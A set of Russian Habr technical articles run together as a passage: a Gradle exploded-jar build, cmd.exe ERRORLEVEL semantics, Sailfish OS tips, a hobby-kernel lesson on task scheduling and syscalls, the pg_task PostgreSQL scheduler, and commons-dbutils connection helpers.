Проект отлично запустился, подхватил нужный конфиг.
Параметр -cp это classpath, который говорит java процессу, где лежат все классы проекта.
Получается, проект может жить без jar? Воспользовавшись небольшой [помощью](https://discuss.gradle.org/t/how-to-put-all-build-files-to-one-folder/26292) gradle community, я получил таск, который создает exploded версию jar:
```
task explodedJar(type: Copy) {
with jar
into "${buildDir}/exploded"
into('lib') {
from configurations.runtimeClasspath
}
}
jar.enabled = false
assemble.dependsOn explodedJar
```
Таск
1. кладет все классы и ресурсы в `exploded` папку
2. кладет все runtime зависимости в папку lib
3. дабавляет explodedJar и исключает jar таск из ./gradle build
Запускаем еще раз
```
./gradlew build --profile
```
Наслаждаемся результатом
------------------------
Думаю, комментарии тут опять не нужны.
Тут возможно еще стоит продублировать гистограмму из начала статьи, но я этого делать не буду.
Но как деплоить?
----------------
Чтобы не делать эту статью очень длинной, просто оставлю одну команду для копирования проекта на сервер:
```
rsync --delete -r build/exploded api.example.com:/opt/myapp
```
Итог
----
* Проект стал проще из-за того, что мы убрали из него такую сущность как `jar`
* Всегда можно посмотреть, что конкретно попадает в нашу сборку, просто открыв папку `build/exploded`
* И конечно же, проект стал быстрее собираться и делоиться | https://habr.com/ru/post/351636/ | null | ru | null |
# ERRORLEVEL это не %ERRORLEVEL%
У командный процессора cmd.exe есть такая вещь — уровень ошибки (error level). Это код выхода (exit code) программы, которую вы запускали последней. Проверить уровень ошибки можно при помощи команды `IF ERRORLEVEL`.
`IF ERRORLEVEL 1 ECHO error level is 1 or more`
Проверка `IF ERROR LEVEL n` срабатывает, если уровень ошибки n *или выше*. Это, вероятно, потому, что многие программы выражают разную степень ошибки все большими и большими кодах выхода. К примеру, программа diff имеет 3 кода выхода: «0» означает, что файлы одинаковые, «1» — разные, «2» — случилось что-то страшное. Некоторые программы используют код выхода «0» для успеха и все остальное для ошибки.
Вдобавок к этому внутреннему состоянию, вы, если хотите, можете создать переменную окружения с именем `ERRORLEVEL`, так же, как вы можете создать переменную с именем `FRED`. Но, как и `FRED`, эта переменная не повлияет на уровень ошибки.
`rem this next command sets the error level to zero
CMD /C EXIT 0
set ERRORLEVEL=1
if ERRORLEVEL 1 echo Does this print?`
Сообщение не будет отображено, поскольку переменная `ERRORLEVEL` не имеет никакого влияния на уровень ошибки. Это просто переменная, имя которой совпадает с концепцией командного процессора.
`set BANKBALANCE=$1 000 000,00`
«Эй, когда я пытаюсь снять денег, у меня ошибка — „недостаточно денег на счету“».
Однако, есть вариант, когда включено расширенный режим командного процессора, и вы используете `%ERRORLEVEL%`.
В этом случае командный процессор ищет переменную с таким именем и, если не находит, заменяет `%ERRORLEVEL%` на текущее значение внутреннего уровня ошибки. Это запасной вариант — как указать адрес соседа запасным адресом доставки товара, на случай, если вас нет дома. Однако это не повлияет на посылки, доставляемые соседу.
То же поведение и у `%CD%`: если вы не установили переменную с таким именем, подставляется текущий каталог командного процессора. Но изменить каталог при помощи `set CD=C:\Windows` нельзя.
Вероятно, есть несколько причин для такого поведения:
— Чтобы можно было вывести уровень ошибки в лог:
`ECHO error level is %ERRORLEVEL%>logfile`
— Чтобы можно было выполнять другие сравнения с уровнем ошибки — например, чтобы проверять равенство:
`IF %ERRORLEVEL% EQU 1 echo Different!`
Но я отклонился от темы. На сегодня мой тезис такой: уровень ошибки — это не то же самое, что переменная %ERRORLEVEL%. | https://habr.com/ru/post/41028/ | null | ru | null |
# Неочевидные фишки Sailfish OS
Здравствуй, читатель!
Сегодня хотел бы осветить некоторые неочевидные фишки Sailfish OS. Статья в большей степени ориентирована на пользователей Sailfish OS, но и «адептам» других платформ, надеюсь, будет тоже интересно, они могут оценить степень удобства и готовность системы для конечного пользователя. Если готовы, тогда отправляемся под кат!
[](https://habrastorage.org/files/f53/f11/3e0/f53f113e081a43568a8d0dc379e730b3.jpg)
#### А знали ли Вы, что:
1. Если держать палец на приложении и перевернуть смартфон, то приложение НЕ сменит ориентацию.
Представим на примере: Вы просматривали интернет со своего смартфона стоя, потом решили прилечь (при этом блокировка ориентации телефона выключена), чтобы ориентация не изменилась, просто удерживайте палец на экране пока смартфон меняют свою позицию в пространстве.
2. Двойное нажатие на хардверную кнопку блокировки разблокирует Ваше устройство и Вы сразу попадете на Домашний Экран (Home), минуя Экран Блокировки (Lock screen).
Следует учитывать, что двойное нажатие не работает, если у вас стоит пароль при разблокировке.
3. С версии 2.0.2 в Sailfish OS появилась функция записи звонков.
Чтобы активировать ее зайдите в Настройки (Settings) — Приложения (Apps) — «Запись звонков» (Call Recording).
**Примечание:**
Вообще, в Настройках (Settings) — раздел Приложения (Apps) можно настроить многие приложения за авторством самой Jolla, а также произвести некоторые действия над Android-приложениями (очистить кеш, остановить программу и так далее).
4. Двойное нажатие на кнопку блокировки, если телефон не заблокирован, приведет к блокировке телефона с последующей вибрацией, сигнализирующей, что телефон заблокирован.
Пример использования: телефон в кармане и Вы не уверены заблокирован ли он, но доставать его Вы не хотите. Тогда нужно всего лишь нащупать кнопку блокировки и выполнять двойное нажатие пока не почувствуете вибрацию.
5. Из приложения Tutorial можно выйти сразу, для этого в самом начале по часовой прокликайте углы, начиная с верхнего левого.
6. С версии 2.0.2 появился простенький файловый браузер «из коробки», чтобы его найти отправляйтесь в Настройки (Settings) — Хранилище (Storage) — Внешняя память/Карта памяти (User data) — свайп сверху вниз — опция Файловый менеджер (File manager).
7. С версии 2.0.2 появляется возможность делать скриншоты, для этого выполните полусекундное нажатие на обе кнопки громкости.
8. Для ценителей [Semantic Web](https://ru.wikipedia.org/wiki/Семантическая_паутина): в Sailfish OS используются некоторые технологии Семантической паутины:
```
[nemo@Jolla ~]$ tracker-
tracker-control tracker-info tracker-sparql tracker-tag
tracker-import tracker-search tracker-stats
```
tracker-sparql!
В частности, трекер используется медиапроигрывателем.
**#### Пара относительно очевидных штук, но почему-то некоторые о них не знают:**
-в приложении Камера (Camera) можно делать фотографии просто нажимая на каретку громкости (правда перед фотографией приложение не обновит фокус);
-в приложении Камера (Camera) можно регулировать зум, приближая два пальца друг к другу на экране и отдаляя друг от друга; :)
-в Настройках (Settings) во вкладке Жесты (Gestures) неплохо включить «Быстрое закрытие приложения» (Quick app closing), чтобы свайпом сверху вниз сразу закрывать программу;
-там же, в жестах можно включить свайп слева направо, чтобы попадать в Ленту Событий (Events), вместо Домашнего Экрана (Home);
-если телефон заблокирован, то при двойном нажатии на экран Вы попадете в Экран Блокировки (Lock Screen);
-сменить обои на свою собственную картинку можно только из галереи. Для этого откройте картинку в галерее (Gallery), свайп сверху вниз, затем выберите опцию «Создать атмосферу» («Create ambience»). Вы попадете на страницу настройки атмосферы, там можно подогнать цвета на свой вкус или просто оставить как есть и радоваться;
-в Настройках (Settings) в разделе «Ввод текста» (Text input) можно разрешить разделение клавиатуры в альбомном режиме;
-советую поставить [Warehouse](https://openrepos.net/content/basil/warehouse-sailfishos) — клиент для Openrepos. Сначала разрешите установку приложений из ненадежных источников: Настройки (Settings) — «Непроверенные программы» (Untrusted Software), затем скачайте .rpm файл по выше указанной ссылке и установите его из консоли или с помощью приложения File Browser. Openrepos является репозиторием, в котором есть большое количество приложений, которых нет в Jolla Store по различным причинам (к примеру, Jolla Store запрещает использование демонов, смотрите [FAQ](https://harbour.jolla.com/faq)). В Openrepos нет QA, что несет некоторые риски, но в то же время дает полную свободу разработчику.
#### Бонус
Несколько приложений, которые могут показаться Вам полезными (на мой взгляд):
-**SearchNemo** — поиск файлов / конкретного текста в текстовых файлах по всей файловой системе;
-**LLs vPlayer** (только в Openrepos) — всеядный видеоплеер с приличным количеством плюшек, которых нет в обычном плеере;
-**Screen-message** — выводит набранный текст на экран (к примеру, можно использовать для записок);
-**Sidudict** — неплохой офлайн словарь на основе QStarDict. Минус: если добавить большое количество словарей, то приложение вылетает, либо запускается слишком долго, так как при каждом запуске выполняется реиндексация словарей с нуля;
-**File Browser** — отличный файловый браузер для Sailfish OS;
-**Lists** — ToDo-органайзер. На мой взгляд, автор очень интересно обыграл функциональность Обложки (Cover);
-**Lighthouse** — системный монитор для Sailfish OS;
-**Battery Log** — приложение, чтобы следить за расходом батарейки, умеет строить график;
-**Unplayer** (только в Openrepos) — отличный музыкальный плеер с возможностью проигрывания музыки прямо из директорий;
-**Kat** — активно развивающийся VK-клиент;
-**Battery Overlay** — если Вам непривычно, что индикатора заряда находится только на Домашнем Экране (Home), то это приложение решит проблему;
-**Recorder** — диктофон;
-**Textractor** — OCR;
-**TAO Translator** — клиент для Google, Yandex, Bing словарей;
-**WiFi Analyzer** — просмотр количества и мощности WiFi сетей;
-**TinyEdit** — текстовый редактор с минимумом функционала;
-**Papocchio** — дает возможность рисовать на экране.
---
В написании данной статьи очень помогло русское сообщество Sailfish OS, обитающее в [Telegram-чате](http://sailfish.su/telegram).
Спасибо, что прочитали данную статью, счастливого использования Sailfish OS и удачного Вам дня!
---
**UPDATE**
Для тех, кто хочет посмотреть степень насыщенности Jolla Store, есть недавно появившийся **неофициальный** веб-каталог:
[zhiz0id.github.io/josh/#/josh](https://zhiz0id.github.io/josh/#/josh/)
---
**UPDATE2**
[Выложили исходники](https://releases.sailfishos.org/sources/) версии 2.0.2.51.
Для уменьшения споров насчет открытости Sailfish OS, [таблицы открытых /закрытых пакетов](https://wiki.merproject.org/wiki/SailfishOSS). | https://habr.com/ru/post/397117/ | null | ru | null |
# Разработка Unix подобной OS — Многозадачность и системные вызовы (7)
В предыдущей статье мы научились работать с виртуальным адресным пространством. Сегодня мы добавим поддержку многозадачности.
#### Оглавление
Система сборки (make, gcc, gas). Первоначальная загрузка (multiboot). Запуск (qemu). Библиотека C (strcpy, memcpy, strext).
Библиотека C (sprintf, strcpy, strcmp, strtok, va\_list ...). Сборка библиотеки в режиме ядра и в режиме пользовательского приложения.
Системный журнал ядра. Видеопамять. Вывод на терминал (kprintf, kpanic, kassert).
Динамическая память, куча (kmalloc, kfree).
Организация памяти и обработка прерываний (GDT, IDT, PIC, syscall). Исключения.
Виртуальная память (каталог страниц и таблица страниц).
**Процесс. Планировщик. Многозадачность. Системные вызовы (kill, exit, ps).**
Файловая система ядра (initrd), elf и его внутренности. Системные вызовы (exec).
Драйверы символьных устройств. Системные вызовы (ioctl, fopen, fread, fwrite). Библиотека C (fopen, fclose, fprintf, fscanf).
Оболочка как полноценная программа для ядра.
Пользовательский режим защиты (ring3). Сегмент состояния задачи (tss).
#### Многозадачность
Как ты помнишь, каждый процесс должен иметь свое адресное пространство.
Для этого нужно вести подсчет страниц, используемых процессом.
Поэтому мы должны описать память процесса:
```
/*
* Process memory description
*/
struct task_mem_t {
void* pages; /* task physical pages */
u_int pages_count; /* task physical pages count */
void* page_dir; /* page directory */
void* page_table; /* page table */
};
```
Процессы как-то должны обмениваться информацией между собой. Для этого введем понятие сообщения:
```
struct message_t {
u_short type; /* message type */
u_int len; /* data length */
u8 data[IPC_MSG_DATA_BUFF_SIZE]; /* message data */
};
```
После этого нужно описать сам процесс как элемент циклического списка.
Циклический список здесь удобен по тому, что в планировщике от каждой задачи нужно выбирать следующую, пока список не пуст.
Этим мы убираем вырожденный случай, значит облегчаем логику.
```
/*
* Process descriptor
*/
struct task_t {
struct clist_head_t list_head; /* should be at first */
u_short tid; /* task id */
char name[8]; /* task name */
struct gp_registers_t gp_registers; /* general purpose registers */
struct op_registers_t op_registers; /* other purpose registers */
struct flags_t flags; /* processor flags */
u_int time; /* time of task execution */
bool reschedule; /* whether task need to be rescheduled */
u_short status; /* task status */
int msg_count_in; /* count of incomming messages */
struct message_t msg_buff[TASK_MSG_BUFF_SIZE]; /* task message buffer */
void* kstack; /* kernel stack top */
void* ustack; /* user stack top */
struct task_mem_t task_mem; /* task memory */
} attribute(packed);
```
Каждому процессу мы будем выделять квоту, количество прерываний таймера после истечение которых процесс будет перепланирован.
```
#define TASK_QUOTA 3
```
Далее нужно написать функцию создания нового процесса.
Пока у нас нет уровней привилегий, поэтому будем использовать селекторы ядра.
Нам потребуется на будущее 2 стека, один для пользовательского режима, другой для ядра.
Первоначальный статус будем задавать как TASK\_UNINTERRUPTABLE чтобы задача не успела выполниться до полной инициализации.
```
/*
* Api - Create new task
*/
extern bool task_create(u_short tid, void* address, struct task_mem_t *task_mem)
{
struct task_t* task;
struct clist_head_t* entry;
/* allocate memory */
entry = clist_insert_entry_after(&task_list, task_list.head);
task = (struct task_t*)entry->data;
task->kstack = malloc(TASK_KSTACK_SIZE);
task->ustack = malloc(TASK_USTACK_SIZE);
/* fill data */
task->tid = tid;
task->name[0] = '\0';
task->status = TASK_UNINTERRUPTABLE;
task->msg_count_in = 0;
task->time = 0;
memcpy(&task->task_mem, task_mem, sizeof(struct task_mem_t));
/* set flags */
*(u32*)(&task->flags) = asm_get_eflags() | 0x200;
/* set general purpose registers */
memset(&task->gp_registers, 0, sizeof(struct gp_registers_t));
/* set other purpose registers */
task->op_registers.cs = GDT_KCODE_SELECTOR;
task->op_registers.ds = GDT_KDATA_SELECTOR;
task->op_registers.ss = GDT_KSTACK_SELECTOR;
task->op_registers.eip = (size_t)address;
task->op_registers.cr3 = (size_t)task_mem->page_dir;
task->op_registers.k_esp = (u32)task->kstack + TASK_KSTACK_SIZE;
task->op_registers.u_esp = (u32)task->ustack + TASK_USTACK_SIZE;
printf(MSG_SCHED_TID_CREATE, tid, (u_int)address, task->kstack, task->ustack);
return true;
}
```
Удаление процесса будет происходить планировщиком если статус процесса TASK\_KILLING.
При удалении нам нужно просто освободить стеки, страницы выделенные под секции данных и кода, а также уничтожить каталог страниц процесса.
Вообще по хорошему пользовательский стек можно выделять через менеджер памяти, но для удобства отладки пока реализуем его в куче ядра, которая всегда есть в каталогах страниц.
```
/*
* Api - Delete task by id
*/
extern void task_delete(struct task_t* task)
{
printf(MSG_SCHED_TID_DELETE, (u_int)task->tid);
assert(task != null);
/* free stack memory */
free(task->kstack);
free(task->ustack);
task->kstack = null;
task->ustack = null;
/* free user pages memory */
if (task->task_mem.pages_count > 0) {
mm_phys_free_pages(task->task_mem.pages, task->task_mem.pages_count);
task->task_mem.pages = null;
task->task_mem.pages_count = 0;
}
/* clear resources */
if (task->task_mem.page_dir != null) {
mmu_destroy_user_page_directory(task->task_mem.page_dir, task->task_mem.page_table);
}
clist_delete_entry(&task_list, (struct clist_head_t*)task);
}
```
Теперь нужно написать сам планировщик.
Сначала мы должны понять, выполняется ли текущая задача или это первый запуск.
Если задача исполняется, нужно проверить не исчерпана ли ее квота.
Если так, то нужно сохранить ее состояние, явно указав флаг разрешения прерываний.
После этого нужно найти следующую задачу на исполнение в статусе TASK\_RUNNING.
Далее нужно завершить текущую задачу, если она находится в статусе TASK\_KILLING.
После этого подготавливаем стековый фрейм для следующей задачи и переключаем контекст.
```
/*
* Api - Schedule task to run
*/
extern void sched_schedule(size_t* ret_addr, size_t* reg_addr)
{
struct task_t* next_task = null;
/* finish current task */
if (current_task != null) {
/* update running time */
current_task->time += 1;
/* check quota exceed */
if (current_task->time < TASK_QUOTA && !current_task->reschedule) {
return; /* continue task execution */
}
/* reset quota */
current_task->time = 0;
current_task->reschedule = false;
/* save task state */
current_task->op_registers.eip = *ret_addr;
current_task->op_registers.cs = *(u16*)((size_t)ret_addr + 4);
*(u32*)(¤t_task->flags) = *(u32*)((size_t)ret_addr + 6) | 0x200;
current_task->op_registers.u_esp = (size_t)ret_addr + 12;
current_task->gp_registers.esp = current_task->op_registers.u_esp;
memcpy(¤t_task->gp_registers, (void*)reg_addr,
sizeof(struct gp_registers_t));
}
/* pick next task */
if (current_task) {
next_task = task_get_next_by_status(TASK_RUNNING, current_task);
} else {
next_task = task_get_by_status(TASK_RUNNING);
tss_set_kernel_stack(next_task->kstack);
}
assert(next_task != null);
/* whether should kill current task */
if (current_task && current_task->status == TASK_KILLING) {
/* kill current task */
task_delete(current_task);
} else {
/* try to kill killing tasks */
struct task_t* task;
task = task_find_by_status(TASK_KILLING);
if (task) {
task_delete(task);
}
}
/* prepare context for the next task */
next_task->op_registers.u_esp -= 4;
*(u32*)(next_task->op_registers.u_esp) = (*(u16*)(&next_task->flags)) | 0x200;
next_task->op_registers.u_esp -= 4;
*(u32*)(next_task->op_registers.u_esp) = next_task->op_registers.cs;
next_task->op_registers.u_esp -= 4;
*(u32*)(next_task->op_registers.u_esp) = next_task->op_registers.eip;
next_task->gp_registers.esp = next_task->op_registers.u_esp;
next_task->op_registers.u_esp -= sizeof(struct gp_registers_t);
memcpy((void*)next_task->op_registers.u_esp,
(void*)&next_task->gp_registers, sizeof(struct gp_registers_t));
/* update current task pointer */
current_task = next_task;
/* run next task */
printf(MSG_SCHED_NEXT, next_task->tid, next_task->op_registers.u_esp,
*ret_addr, next_task->op_registers.eip);
asm_switch_ucontext(next_task->op_registers.u_esp,
next_task->op_registers.cr3);
}
```
Осталось написать функцию переключения контекста задач.
Для этого нужно загрузить новый каталог страниц и восстановить все регистры общего назначения, включая флаги.
Также необходимо переключиться на стек следующей задачи.
Далее нужно совершить возврат из прерывания, поскольку мы сформировали для этого специальный стековый фрейм.
Для в том, что в последствии нам это потребуется для переключения уровней привилегий.
```
/*
* Switch context (to kernel ring)
* void asm_switch_kcontext(u32 esp, u32 cr3)
*/
asm_switch_kcontext:
mov 4(%esp),%ebp # ebp = esp
mov 8(%esp),%eax # eax = cr3
mov %cr0,%ebx # ebx = cr0
and $0x7FFFFFFF,%ebx # unset PG bit
mov %ebx,%cr0
mov %eax,%cr3
or $0x80000001,%ebx # set PE & PG bits
mov %ebx,%cr0
mov %ebp,%esp
popal
sti
iretl
```
Реализуем простейший механизм обмена сообщениями между процессами.
Когда мы посылаем сообщение процессу, его нужно разморозить если он заморожен так как ждет сообщений.
А вот когда мы принимаем сообщение мы должны заморозить процесс если очередь сообщений пуста.
После этого нужно передать управление планировщику.
```
/*
* Api - Send message to task
*/
extern void ksend(u_short tid, struct message_t* msg)
{
struct task_t* task;
/* get target task */
task = task_get_by_id(tid);
/* put message to task buffer */
task_pack_message(task, msg);
/* whether task has frozen */
if (task->status == TASK_INTERRUPTABLE) {
/* defrost task */
task->status = TASK_RUNNING;
}
}
/*
* Api - Receive message to task
* This function has blocking behaviour
*/
extern void kreceive(u_short tid, struct message_t* msg)
{
struct task_t* task_before; /* before yield */
struct task_t* task_after; /* after yield */
/* get current task */
task_before = sched_get_current_task();
assert(tid == task_before->tid);
assert(task_before->status == TASK_RUNNING);
/* whether task has not incomming messages */
if (task_before->msg_count_in == 0) {
/* freeze task */
task_before->status = TASK_INTERRUPTABLE;
}
/* wait fot message */
sched_yield();
/* get current task */
task_after = sched_get_current_task();
assert(task_after == task_before);
assert(tid == task_after->tid);
assert(task_after->status == TASK_RUNNING);
/* fetch message from buffer */
task_extract_message(task_after, msg);
assert(msg != null);
}
```
Теперь нужно написать системные вызовы для работы с процессами из пользовательских приложений.
Туда же мы закинем системные вызовы для посылки и приема сообщений.
```
/*
* Api - Syscall handler
*/
extern size_t ih_syscall(u_int* function)
{
size_t params_addr = ((size_t)function + sizeof(u_int));
size_t result = 0;
struct task_t *current = sched_get_current_task();
printf(MSG_SYSCALL, *function, current->tid);
asm_lock();
/* handle syscall */
switch (*function) {
case SYSCALL_KSEND: {
/* send message */
u_short tid = *(u_int*)params_addr;
ksend(tid, *(struct message_t**)(params_addr + 4));
break;
}
case SYSCALL_KRECEIVE: {
/* receive message */
u_short tid = *(u_int*)params_addr;
kreceive(tid, *(struct message_t**)(params_addr + 4));
break;
}
case SYSCALL_KILL: {
/* kill task */
u_short tid = *(u_int*)params_addr;
struct task_t* task = task_find_by_id(tid);
if (task != null) {
assert(task->tid == tid);
task->status = TASK_KILLING;
task->reschedule = true;
result = true;
} else {
result = false;
}
break;
}
case SYSCALL_EXIT: {
/* exit task */
int errno = *(int*)params_addr;
u_int tid = current->tid;
printf(MSG_TASK_FINISHED, tid, errno);
current->status = TASK_KILLING;
sched_yield();
break;
}
case SYSCALL_TASK_LIST: {
/* get tasks list */
result = (size_t)task_get_task_list();
break;
}
default:
unreachable();
}
printf(MSG_SYSCALL_RET, *function);
asm_unlock();
return result;
}
```
Для того, чтобы использовать системные вызовы из нашей библиотеки С, нам нужно написать функцию, вызывающую прерывание ядра. Пока для простоты не будем использовать специальные команды Intel, поскольку у нас нет уровней привилегий. Как аргумент мы будем передавать номер системной функции и необходимые ей аргументы.
```
/*
* Call kernel
* void asm_syscall(unsigned int function, ...)
*/
asm_syscall:
push %ebx
push %ebp
mov %esp,%ebp
mov %ebp,%ebx
add $8,%ebx # skip registers
add $4,%ebx # skip return address
push %ebx # &function
int $0x80
mov %ebp,%esp
pop %ebp
pop %ebx
ret
```
Этого вполне хватит для реализации простейшей многозадачности без поддержки колец защиты. А теперь открывай [видеоурок](https://www.youtube.com/watch?v=mjVXNKa5YJg) и смотри все по порядку!
#### Ссылки
Подробности и объяснения в [видеоуроке](https://www.youtube.com/watch?v=mjVXNKa5YJg).
Исходный код [в git репозиторий](https://github.com/ArseniyBorezkiy/oc-kernel) (тебе нужна ветка lesson7).
#### Список литературы
1. James Molloy. Roll your own toy UNIX-clone OS.
2. Зубков. Ассемблер для DOS, Windows, Unix
3. Калашников. Ассемблер — это просто!
4. Таненбаум. Операционные системы. Реализация и разработка.
5. Роберт Лав. Ядро Linux. Описание процесса разработки. | https://habr.com/ru/post/468057/ | null | ru | null |
# Рецепты PostgreSQL: планировщик асинхронных задач
Для приготовления планировщика асинхронных задач нам понадобится сам [postgres](https://github.com/RekGRpth/postgres) и его расширение [pg\_task](https://github.com/RekGRpth/pg_task). (Я дал ссылки на свой форк postgres, т.к. делал некоторые изменения, которые пока не удалось пропихнуть в оригинальный репозиторий. Можно также воспользоваться [готовым образом](https://hub.docker.com/r/rekgrpth/postgres).)
(В оригинальном PostgreSQL есть ошибка в PL/pgSQL, из-за которой мой планировщик некорректно работает, когда в задаче, написанной на PL/pgSQL, возникает неперехваченное исключение. Я описал эту ошибку [здесь](https://www.postgresql.org/message-id/flat/15738-21723084f3009ceb%40postgresql.org) и исправил у себя в форке [тут](https://github.com/RekGRpth/postgres/commit/0144733c9f128108670f3654605f274928d83096).)
Для установки планировщика не требуется создавать расширение в (каждой) базе данных. Вместо этого просто добавляем его в конфигурационный файл
```
shared_preload_libraries = 'pg_task'
```
После перезапуска PostgreSQL планировщик создаст во всех базах данных таблицы task от имени пользователей баз данных и в схемах по-умолчанию для этих пользователей.
Если нужно, чтобы планировщик запускался только для определённых баз данных, то можно задать их в конфигурационном файле
```
pg_task.database = 'database1,database2'
```
Если же требуется запускать планировщик не от пользователей баз данных, то это тоже можно задать так
```
pg_task.database = 'database1:user1,database2:user2'
```
Если нужно создавать таблицы планировщика не в схеме по-умолчанию для пользователей, то можно задать это так
```
pg_task_schema.database1 = schema3
```
Если же требуется и таблицу планировщика назвать по-другому, то это можно сделать так
```
pg_task_table.database1 = table3
```
По умолчанию планировщик проверяет задачи каждые 1000 мс, но это можно изменить так
```
pg_task_period.database1 = 100
pg_task_period.database2 = 10
```
Итак, планировщик создает (если ещё не создано) (схему, если нужно, и) таблицу задач с такими колонками
```
id BIGSERIAL NOT NULL PRIMARY KEY, -- идентификатор, первичный ключ
dt TIMESTAMP NOT NULL DEFAULT NOW(), -- планируемое время запуска задачи (по-умолчанию - как можно быстрее)
start TIMESTAMP, -- фактическое время запуска задачи
stop TIMESTAMP, -- фактическое время окончания выполнения задачи
queue TEXT NOT NULL DEFAULT 'default', -- очередь выполнения задачи (нужна для ограничения количества одновременно выполняемых задач)
max INT, -- максимальное количество одновременно выполняемых задач в очереди (также, позволяет задавать приоритет выполнения конкретной задачи)
pid INT, -- идентификатор процесса, который выполняет задачу
request TEXT NOT NULL, -- собственно SQL текст задачи
response TEXT, -- результат выполнения задачи
state TEXT NOT NULL DEFAULT 'QUEUE', -- состояние задачи (по-умолчанию - запланирована, также может быть выполнена, остановлена, ...)
timeout INTERVAL, -- позволяет ограничивать время выполнения задачи
delete BOOLEAN NOT NULL DEFAULT false, -- удалять задачу автоматически после выполнения, если нет результата
repeat INTERVAL, -- интервал повторения задачи
drift BOOLEAN NOT NULL DEFAULT true -- предотвращать ли дрейф времени при повторе задачи
```
На самом деле, планировщик запускает несколько фоновых рабочих процессов: один для отслеживания изменений в конфигурационном файле и запуске/остановке при необходимости остальных фоновых процессов планировщика. И по одному фоновому рабочему процессу для каждой базы для проверки запланированных задач в каждой базе и запуске при необходимости выполнения задач.
Например, если мы хотим выполнить задачу как можно быстрее, то выполняем SQL команду
```
INSERT INTO task (request) VALUES ('SELECT now()')
```
Результат выполнения задачи планировщик запишет в колонку результата в текстовом виде. Если в результате выполнения задачи будет несколько колонок, то планировщик добавит их в шапку вместе с типами колонок. Также, в результате выполнения задачи может быть и несколько строк, все они добавятся в колонку результата.
Если мы хотим выполнить задачу, например, через 5 минут, то запишем планируемое время в соответствующую колонку
```
INSERT INTO task (dt, request) VALUES (now() + '5 min':INTERVAL, 'SELECT now()')
```
а если мы хотим, чтобы задача выполнилась в конкретное время, то так и запишем
```
INSERT INTO task (dt, request) VALUES ('2019-07-01 00:00:00', 'SELECT now()')
```
Если нам требуется, чтобы задача выполнялась каждые 5 минут, то пишем так
```
INSERT INTO task (repeat, request) VALUES ('5 min', 'SELECT now()')
```
если же написать так
```
INSERT INTO task (repeat, request, drift) VALUES ('5 min', 'SELECT now()', false)
```
то повторение задачи будет запускаться через 5 минут после окончания выполнения задачи (а не после запланированного времени, как по умолчанию).
При возникновении исключения при выполнении задачи, оно перехватывается и в текстовом виде записывается в колонку результата, а задаче присваивается соответствующее состояние.
Например
```
INSERT INTO task (request) VALUES ('SELECT 1/0')
```
Если нужно, чтобы для какой-то очереди задач одновременно выполнялось не более 2х задач, то создаём задачи командой
```
INSERT INTO task (queue, max, request) VALUES ('queue', 2, 'SELECT now()')
```
Пусть у нас в этой очереди накопилось очень много задач и они одновременно выполняются по 2. Если создать задачу командой
```
INSERT INTO task (queue, max, request) VALUES ('queue', 3, 'SELECT now()')
```
то она выполнится как можно раньше всех остальных задач в этой очереди, т.е. это ещё что-то типа приоритета | https://habr.com/ru/post/456722/ | null | ru | null |
# Поддержка транзакций, тестового окружения и другие удобные надстройки над commons-dbutils
Поддержка транзакций, тестового окружения и другие удобные надстройки над **commons-dbutils**.
==============================================================================================
"/>
Если обращение к RDBMS вашего проекта ведется не через ORM или Spring JdbcTemplate, то работу через голый JDBC может сильно скрасить [commons-dbutils](http://commons.apache.org/proper/commons-dbutils/).
Особенно если его надстроить транзакциями, работой с разными окружениями, авто-открытием/закрытием ресурсов, запрсами read-only, обработкой SqlException, возвратом pk при вставке и т.д.
Т.е, например, чтобы можно было бы сделать так:
```
int userId = Sql.queryForValue("SELECT ID FROM OU.USERS WHERE LAST_NAME=?", "IVANOV");
Sql.update("DELETE FROM OU.USERS WHERE FIRST_NAME=? AND LAST_NAME=?", fname, lname);
List list = Sql.query("SELECT FROM OU.USERS", USER\_LIST\_HANDLER);
int newId = Sql.insert("INSERT INTO OU.USERS VALUES (?,?)", fname, lname);
```
И этот код работал бы внутри транзакции, через Application Server Connction pool и в JUnit без изменений и mock-ов.
За чуть меньше года моей работы с commons-dbutils он оброс различными классами и утильными методами, о которых и хочу здесь рассказать.
Работа в разных окружениях
--------------------------
Используя [Инициализацию по тербованию](http://en.wikipedia.org/wiki/Initialization-on-demand_holder_idiom) через интерфейс DataSourceFactory получаем DataSource, объявленный в JNDI AS:
```
public class ConnectionFactory {
private static final LoggerWrapper LOGGER = LoggerWrapper.get(ConnectionFactory.class);
private static class JndiDataSource {
private static final DataSource dataSource;
static {
try {
InitialContext ctx = new InitialContext();
dataSource = (DataSource) ctx.lookup("java:/comp/env/jdbc/db_name");
} catch (Exception ex) {
throw LOGGER.getIllegalStateException("PostgreSQL initialization failed", ex);
}
}
}
interface DataSourceFactory {
DataSource getDataSource();
}
static DataSourceFactory dataSourceFactory = new DataSourceFactory() {
@Override
public DataSource getDataSource() {
return JndiDataSource.dataSource;
}
};
public static DataSource getDataSource() {
return dataSourceFactory.getDataSource();
}
```
Для тестов подменяем его на commons-dbcp:
```
commons-dbcp
commons-dbcp
1.4
```
```
public class TestSq {
private static String DB_URL;
private static String DB_USER;
private static String DB_PSW;
private static class DbcpDataSource {
private static final BasicDataSource dataSource;
static {
dataSource = new BasicDataSource();
dataSource.setUrl(DB_URL);
dataSource.setUsername(DB_USER);
dataSource.setPassword(DB_PSW);
}
}
public static void initDb(String dbUrl, String dbUser, String dbPsw) {
DB_URL = dbUrl;
DB_USER = dbUser;
DB_PSW = dbPsw;
ConnectionFactory.dataSourceFactory = new ConnectionFactory.DataSourceFactory() {
@Override
public DataSource getDataSource() {
return DbcpDataSource.dataSource;
}
};
}
```
Если креденшелы к базе находятся в профилях maven settings.xml, то можно инициализировать тесты, основываясь на maven profile.
Создаем test/resources/project.properties c креденшелами базы:
```
db.url=${db.url}
db.user=${db.user}
db.password=${db.password}
```
Фильтруем его переменными из settings:
```
true
```
и загружаем properties через getResourceAsStream:
```
public static void initProfileDb() {
Properties prop = UtilProperties.loadAsResource("project.properties");
initDb(prop.getProperty("db.url"), prop.getProperty("db.user"), prop.getProperty("db.password"));
}
```
Остается в начале тестов инициализировать TestSql.initProfileDb() и все запросы к базе выбранного профиля (mvn -P env test) будут идти через commons-dbcp.
Работа с ресурсами и исключениями
---------------------------------
Добавляем в ConnectionFactory получение коннекта и его закрытие:
```
static Connection getConnection(boolean isReadOnly) throws SQLException {
Connection conn = getDataSource().getConnection();
if (isReadOnly) {
conn.setReadOnly(true);
}
return conn;
}
static void close(Connection conn) {
if (conn != null) {
try {
if (conn.isReadOnly()) {
conn.setReadOnly(false); // restore NOT readOnly before return to pool
}
conn.close();
} catch (SQLException e) {
Sql.warn(e);
}
}
}
```
